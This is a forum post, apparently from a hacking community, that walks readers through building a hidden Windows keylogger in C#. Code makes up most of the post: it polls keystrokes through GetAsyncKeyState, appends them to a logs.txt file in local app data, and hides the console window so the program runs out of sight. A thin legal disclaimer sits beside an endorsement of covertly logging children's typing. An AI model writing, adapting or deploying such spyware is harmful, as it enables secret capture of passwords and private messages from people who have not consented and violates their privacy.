Sep 25, 2022 06:14 PM
(This post was last modified: Sep 26, 2022 05:37 AM by SIM-587985.)
![[Image: relE6ae.png]](https://i.imgur.com/relE6ae.png)
I will be using .NET (C#) for this tutorial.
It will just be placing the logs into a text file in local app data.
This is not FUD, No support can be given for this project. This is for your education only and should not be used on any PCs that you do not own.
I will talk like you don't know anything about C# because I don't know a whole lot.
![[Image: bsDGubG.png]](https://i.imgur.com/bsDGubG.png)
Step Zero: Get Visual Studio
Step One: Open Visual Studio-->Create a Console app (C#)
Step Two: Delete everything in the box, let us start fresh.
Step Three: Define the using, namespace,& class
Here is what you should set your editor to look like:
PHP Code
<?php
using System.Runtime.InteropServices;
namespace keylogger
{
class Program
{
// -Working area-<---:)
}
}
We will be doing all of our coding within the -Working area- so if you want to give yourself some room, hit the enter bar a few times.
Step Four: Import User32.dll and GetAsyncKeyState. GetAsyncKeyState is a windows function contained within User 32.
To access it, type out the following code into your working area:
PHP Code
<?php
[DllImport("User32.dll")] //This will show up an error until you do the next line.
public static extern int GetAsyncKeyState(Int32 i); //This will allow your program to be able to tell if a key is pressed down on or not.
it should look like this
PHP Code
<?php
using System.Runtime.InteropServices;
namespace keylogger
{
class Program
{
[DllImport("User32.dll")] //This will show up an error until you do the next line.
public static extern int GetAsyncKeyState(Int32 i); //This will allow your program to be able to tell if a key is pressed down on or not.
// -New Working area-<---:)
}
}
Step Five: Create static Main & Define where you want to save the logs.
Just type this out in the -New Working area-
PHP Code
<?php
static private void Main(string[] args) //This is the main section
{
string fp = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData); //The directory you want to save the logs to.
}
Now it should look like this:
PHP Code
<?php
using System.Runtime.InteropServices;
namespace keylogger
{
class Program
{
[DllImport("User32.dll")] //This will show up an error until you do the next line.
public static extern int GetAsyncKeyState(Int32 i); //This will allow your program to be able to tell if a key is pressed down on or not.
static private void Main(string[] args) //This is the main section
{
string fp = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData); //The directory you want to save the logs to.
// -New New Working area-<---:)
}
}
}
Step Six: Check if Local Application Data and logs.txt exist. If not, create them.
PHP Code
<?php
if (!Directory.Exists(fp)) // Checks if "%LocalApplicationData%" Exists
{
Directory.CreateDirectory(fp); // Creates the folder "Application Data\Local" if not.
}
string pth = (fp + @"\logs.txt");
if (!File.Exists(pth)) // Checks if logs.txt exists
{
using (StreamWriter sw = File.CreateText(pth)) ; // Creates a text file named logs.txt if it doesn't exist
}
Now it should look like this:
PHP Code
<?php
using System.Runtime.InteropServices;
namespace keylogger
{
class Program
{
[DllImport("User32.dll")] //This will show up an error until you do the next line.
public static extern int GetAsyncKeyState(Int32 i); //This will allow your program to be able to tell if a key is pressed down on or not.
static private void Main(string[] args) //This is the main section
{
string fp = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData); //The directory you want to save the logs to.
if (!Directory.Exists(fp)) // Checks if "%LocalApplicationData%" Exists
{
Directory.CreateDirectory(fp); // Creates the folder "Application Data\Local" if not.
}
string pth = (fp + @"\logs.txt");
if (!File.Exists(pth)) // Checks if logs.txt exists
{
using (StreamWriter sw = File.CreateText(pth)) ; // Creates a text file named logs.txt if it doesn't exist
}
// -New New New Working area-<---:)
}
}
}
Step Seven: The rest of the code.
PHP Code
<?php
while (true) //Keep logging strokes as long as the program is running.
{
// Pause while other programs are running
Thread.Sleep(5);
// Check key state
for (int i = 32; i < 200; i++) //Choose which ASII characters to recognize. Check out: https://www.asciitable.com/
{
int keyState = GetAsyncKeyState(i); //Check if keys are in up or down position.
if (keyState != 0) //If the key is pressed. (if keystate NOT 0 basically)
{
if (keyState == 32769) // If you are not getting any output, this number probs needs to change.
{
Console.Write((char)i);
// Upload to console
using (StreamWriter sw = File.AppendText(pth))
{
sw.Write((char)i);
}
The whole thing should look like this:
PHP Code
<?php
using System.Runtime.InteropServices;
namespace keylogger
{
class Program
{
[DllImport("User32.dll")] //This will show up an error until you do the next line.
public static extern int GetAsyncKeyState(Int32 i); //This will allow your program to be able to tell if a key is pressed down on or not.
static private void Main(string[] args) //This is the main section
{
string fp = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData); //The directory you want to save the logs to.
if (!Directory.Exists(fp)) // Checks if "%LocalApplicationData%" Exists
{
Directory.CreateDirectory(fp); // Creates the folder "Application Data\Local" if not.
}
string pth = (fp + @"\logs.txt");
if (!File.Exists(pth)) // Checks if logs.txt exists
{
using (StreamWriter sw = File.CreateText(pth)) ; // Creates a text file named logs.txt if it doesn't exist
}
while (true) //Keep logging strokes as long as the program is running.
{
// Pause while other programs are running
Thread.Sleep(5);
// Check key state
for (int i = 32; i < 200; i++) //Choose which ASII characters to recognize. Check out: https://www.asciitable.com/
{
int keyState = GetAsyncKeyState(i); //Check if keys are in up or down position.
if (keyState != 0) //If the key is pressed. (if keystate NOT 0 basically)
{
if (keyState == 32769) // If you are not getting any output, this number probs needs to change.
{
Console.Write((char)i);
// Upload to console
using (StreamWriter sw = File.AppendText(pth))
{
sw.Write((char)i);
}
}
}
}
The Console.Write((char)i); command is for testing purposes. Once you are done, you can add two little slashes in front to make it a comment instead of a command. (//)
Step eight: Finalize and hide console box.
Right click your main project (should be saved as keylogger or whatever dumb shit you named it)
Select Properties
And change the output type as a windows application.
![[Image: 6U7YQkb.png]](https://i.imgur.com/6U7YQkb.png)
P.S: It is illegal to use a keylogger on someones computer without permission.
It is fine to use on your own computers that you let your children use however.
I know it could be done more efficiently, but this is where I'm at.

